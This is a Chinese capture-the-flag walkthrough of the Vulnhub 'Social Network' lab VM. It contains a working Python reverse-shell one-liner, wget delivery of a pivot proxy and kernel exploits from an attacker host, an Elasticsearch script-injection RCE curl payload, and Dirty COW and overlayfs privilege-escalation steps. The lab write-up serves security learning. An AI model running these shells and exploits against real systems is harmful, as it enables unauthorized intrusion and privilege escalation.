IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK -> 正文阅读

[网络协议]Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK

介绍

系列:BoredHackerBlog(此系列共4台)
发布日期:2020年03月29日
难度:中级
学习:

  • 主机发现
  • 端口扫描
  • 服务发现
  • 路径爬取
  • 代码注入
  • Shell脚本
  • 内网信息收集
  • 内网穿透
  • 漏洞利用
  • 密码破解
  • 本地提权
  • 攻击代码修改

靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth1 -r 192.168.1.0/24

主机信息探测

nmap -p- 192.168.1.21
nmap -p22,5000 -A 192.168.1.21

根据22端口得知SSH版本,以及这是一台Ubuntu系统。
根据5000端口得知它是基于python开发的一个web服务。
在这里插入图片描述

网站探测

访问网站,通过页面上的内容得知这是一个安全的匿名留言网站。
在这里插入图片描述

尝试XSS失败

扔了几个XSS,发现没啥用,没办法,那就换目录扫描吧,看能不能找到些有价值的页面。
在这里插入图片描述

目录扫描

通过目录扫描发现了一个新的页面,根据页面信息得知,它想让我输入一些东西,然后它会调用exec()去运行它。前面端口扫描的时候已经知道靶机的web服务是基于python的,那么这就已然明了,python命令执行。
在这里插入图片描述
在这里插入图片描述

python反弹shell

百度一下python反弹shell的命令,这里有一点坑,网上的命令并非都能用,有的可能如下图:

  1. 拿了一个没用的shell,输入命令没反应
    在这里插入图片描述

  2. 使用Hack-Tools生成命令,出现报错

在这里插入图片描述
在这里插入图片描述

  1. 使用专业网站:https://forum.ywhack.com/shell.php

即便是python,里面也是存在多种命令,测试发现第一个就可以用
在这里插入图片描述

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

这个时候,首先发现得到的shell的行头是:/app #,查看当前目录的文件时发现了Dockerfile,不由得让人怀疑自己其实是在docker里面。那么,怎么确认这一点呢?

方法1:如果根目录下存在dockerenv,那么有极大的概率,我们是在docker环境中
方法2:查看ip,如果ip与网站ip不同,那么有极大的概率,我们是在docker环境中
方法3:如果/proc/1/cgroup文件里面可以看到docker,以及docker的hash值。那么我们一定在docker环境中。
在这里插入图片描述

那么接下来的操作,一般来说是需要进行docker逃逸,来拿到其真正宿主的权限。但是在此之前,我想晚点别的花里胡哨的一些东西,看看效果如何。

后渗透

docker网络主机发现

比起docker逃逸,我想看一下docker所在的网络里有没有别的什么机器。由于我暂时没办法借助别的第三方工具,因此只能借助ping命令实现主机发现。那么这里就简单探测一下,先看看有没有别的主机。

for i in $(seq 1 20); do ping -c 1 172.17.0.$i; done

在这里插入图片描述

内网穿透

通过ping命令,发现内网中存在别的主机,如果我想探测内网的实际情况,包括存活主机有哪些、分别开放了哪些端口,那么就必须穿透内网,才能实现内网探测。内网穿透可选的工具有很多,这里我采用Venom,你可以在它的github主页看到中文使用指南:https://github.com/Dliv3/Venom

啰嗦一句,直接下载解压的话,火绒是秒杀的。
在这里插入图片描述

  1. 判断目标的位数

在docker下的shell中输入:uname -a,得知目标是64位系统。
在这里插入图片描述

  1. 投递代理工具

首先对工具重命名,方便后期使用。我这里对其重命名为“a”
在这里插入图片描述

然后在kali上面使用python开启一个web服务
在这里插入图片描述

  1. 靶机使用wget命令下载代理工具

在这里插入图片描述

  1. kali开启监听,等待目标的容器系统跟kali建立连接
    在这里插入图片描述

  2. 靶机运行代理工具

./a -rhost 192.168.1.10 -rport 9999

在这里插入图片描述

  1. kali连接成功
  • show显示网络拓扑

A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点

  • goto操作某节点
  • socks建立到某节点的socks5代理

执行成功socks命令之后,会在admin节点本地开启一个端口,如下图中通过1080端口即可进行socks5代理
在这里插入图片描述

配置socks代理

上文中,虽然我们建立到某节点的socks5代理,我们还需要proxychains4来挂载这个代理,才能让nmap等工具可以使用该代理去攻击目标。

配置proxychains4.conf(较新版本的kali已经没有proxychains.conf了,取而代之的是proxychains4.conf)
在这里插入图片描述

扫内网

在上文使用ping命令做了内网主机发现,当时发现172.17.0.1是存活主机。借鉴在vmware虚拟网络中,x.x.x.1往往代表着宿主机,这里先对172.17.0.1进行测试,看看它身上有没有什么有价值的信息。

proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT -sV -p22,5000 172.17.0.1

有点意外,它也开放着22和5000端口
在这里插入图片描述
在这里插入图片描述

给kali的浏览器配置socks5代理,看看这个172.17.0.1的5000端口是什么东东
竟然发现,我之前测试的XSS内容出现在了这里,并且它同样有admin页面
在这里插入图片描述
在这里插入图片描述

这意味着,172.17.0.1是192.168.1.21的宿主机,只不过172.17.0.1是宿主机面向内网的ip。
如果这让你感到难以理解,可以换个说法,你一定碰到过这中情况,你希望把自己物理机上的某个文件丢到虚拟机中,但是vmware-tools失效了,你无法直接把文件拖动到虚拟机里面。于是你在物理机上使用python或者别的什么工具开启了一个web服务,于然后你在虚拟机就可以下载文件了。但是你在虚拟机的浏览器中输入的,一定是x.x.x.1,因为这个地址才是物理机可以与虚拟机交互的地址。

考虑到当初拿shell的时候,就没看到什么有价值的信息,估计就算拿下172.17.0.1也是如此。在主机发现的时候,172.17.0.2也是存活主机,看看它有没有什么有趣的信息。发现这个ip上跑着Elasticsearch服务,百度一下发现这个服务曾经爆出过RCE漏洞,那我们就试试,看能不能拿下这台主机。

proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT -sV -p9200 172.17.0.2

在这里插入图片描述

Elasticsearch漏洞利用

搜索漏洞库,发现存在RCE利用文件,也不知道哪个能用,这里先拿第一个试试吧。看了下代码,发现是python2写的:cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
在这里插入图片描述

使用方法如下图
在这里插入图片描述

打一下,稀碎,命令执行不了。
在这里插入图片描述

不死心的又去msf里面打了一下,还是gg,第二个RCE文件是个html,看着就不好利用。很烦,重启虚拟机,重置网络,再来一遍试试。

排雷

靶机恢复快照,kali换用virtualbox虚拟机,不用vmware里的kali了。重启系统之后,kali的ip变为192.168.69.91;靶机的ip变为192.168.69.112;拿下的docker shell是172.17.0.3。失败让人变得有些烦躁,毕竟一个破站已经搞了快一天了,这里我把fscan投递到docker中了,先扫一遍再说。
根据如下的扫描结果知道,3个存活主机中,只有172.17.0.2的elasticsearch才是突破口
在这里插入图片描述

重新内网穿透(socks5代理不用配置了),扫描出来的未授权就是下图,没什么用
在这里插入图片描述

再次尝试RCE脚本,成功了。这次依然拿到的是docker的root权限,所不同的是这里发现了一些有趣的文件。
在这里插入图片描述
在这里插入图片描述

看到这些密文,直接网上找一些在线解密网站,通过https://www.somd5.com/查询到john的密码是:1337hack
到此,web渗透已经结束,下一步就是ssh连接靶机了。

补充错误原因

在这篇文章中知道了答案:https://www.anquanke.com/post/id/204066#h2-6
下面的这一段内容引自作者的笔记:


终于在Github找到失败原因,原因是服务里面没有数据,所以不能通过search来搜索进而执行命令,问题找到,尝试随便插入一条数据

proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'

再次执行Payload

proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'

成功执行
在这里插入图片描述


SSH登录

经过测试,只有john可以登录。登录的时候注意到靶机的版本很老。
在这里插入图片描述

提权

提权1:脏牛提权

登录靶机的时候,注意到它的版本很老。脏牛提权可以试试。

  1. kali下载exp,编译后并开放web服务(编译时的一些问题不用管)
 wget https://www.exploit-db.com/download/40616
 mv 40616 cowroot.c
 gcc cowroot.c -o cowroot -pthread
 python3 -m http.server 80

在这里插入图片描述
在这里插入图片描述

  1. 靶机下载并运行exp
wget http://192.168.69.91/cowroot
chmod +x cowroot
./cowroot

在这里插入图片描述

不大会后,靶机崩溃了,这个属实有点意外😅
在这里插入图片描述

提权2:攻击代码修改

靶机恢复一下快照,继续搞。
搜索利用代码:searchsploit linux 3.13
在这里插入图片描述

发现有一大堆利用代码,并且这些利用代码中,内核提权的代码几乎都是C语言写的,经过检测,靶机上面没有gcc来编译利用代码,只能是kali这边编译好之后再投递到靶机上。
在这里插入图片描述

由于这些代码没有用过,不知道怎么玩,因此先读一下源代码。
首先,exp介绍了它的使用
在这里插入图片描述

在往下面看看,发现了一些问题。虽然我不了解C语言,但是显而易见的可以知道第143行代码尝试使用命令调用gcc,去把/tmp/ofs-lib.c编译成/tmp/ofs-lib.so。因此,我应该准备好编译好的 exp 和 ofs-lib.so 才能让靶机真正运行起来exp。
在这里插入图片描述

  1. 删除上图红框中的代码,然后保存。
  2. 经过搜索,发现kali里面有ofs-lib.so
  3. 编译exp(出现的报错可忽略),然后开启web服务投递到靶机上
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
gcc -o exp 37292.c
python3 -m http.server 80

在这里插入图片描述

靶机下载下来exp和ofs-lib.so,为了保证攻击成功,这里把下载下来的文件移动到tmp目录下(因为删除的那段代码里,本来就是要把ofs-lib.so生成在tmp目录下),最后顺利的提权成功。
在这里插入图片描述

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-06-18 23:33:03  更:2022-06-18 23:33:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 23:42:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码